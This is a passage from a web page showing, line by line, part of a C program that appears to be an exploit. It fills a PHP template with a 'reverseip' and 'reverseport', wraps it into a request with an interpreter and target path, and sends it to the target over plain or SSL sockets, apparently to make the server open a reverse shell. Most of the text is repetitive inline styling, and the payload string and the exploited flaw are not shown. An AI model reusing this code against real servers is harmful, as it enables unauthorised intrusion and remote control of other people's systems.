<DIV class="line number432 index431 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);</DIV>

<DIV class="line number433 index432 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number434 index433 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;writesize = strlen(target) + strlen(interpreter) + </DIV>

<DIV class="line number435 index434 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strlen(poststr) + strlen(tmpstr) + 64;</DIV>

<DIV class="line number436 index435 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;writestr = (char*)calloc(writesize, sizeof(char));</DIV>

<DIV class="line number437 index436 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;snprintf(writestr, writesize, poststr, interpreter,</DIV>

<DIV class="line number438 index437 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target, strlen(tmpstr), tmpstr);</DIV>

<DIV class="line number439 index438 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number440 index439 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (!httpsflag) {</DIV>

<DIV class="line number441 index440 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write(sockfd, writestr, strlen(writestr));</DIV>

<DIV class="line number442 index441 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;readbuf = read_(sockfd);</DIV>

<DIV class="line number443 index442 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;} else {</DIV>

<DIV class="line number444 index443 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SSL_write(sslconnection-&gt;handle, writestr, strlen(writestr));</DIV>

<DIV class="line number445 index444 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;readbuf = sslread(sslconnection);</DIV>

<DIV class="line number446 index445 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number447 index446 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number448 index447 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (readbuf) {</DIV>

<DIV class="line number449 index448 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf);&nbsp; </DIV>

<DIV class="line number450 index449 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;} else {</DIV>

<DIV class="line number451 index450 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;printf("read error (15)\n");</DIV>

<DIV class="line number452 index451 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;exit(255);&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number453 index452 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number454 index453 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;}</DIV>

<DIV class="line number455 index454 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;exit(1);</DIV>

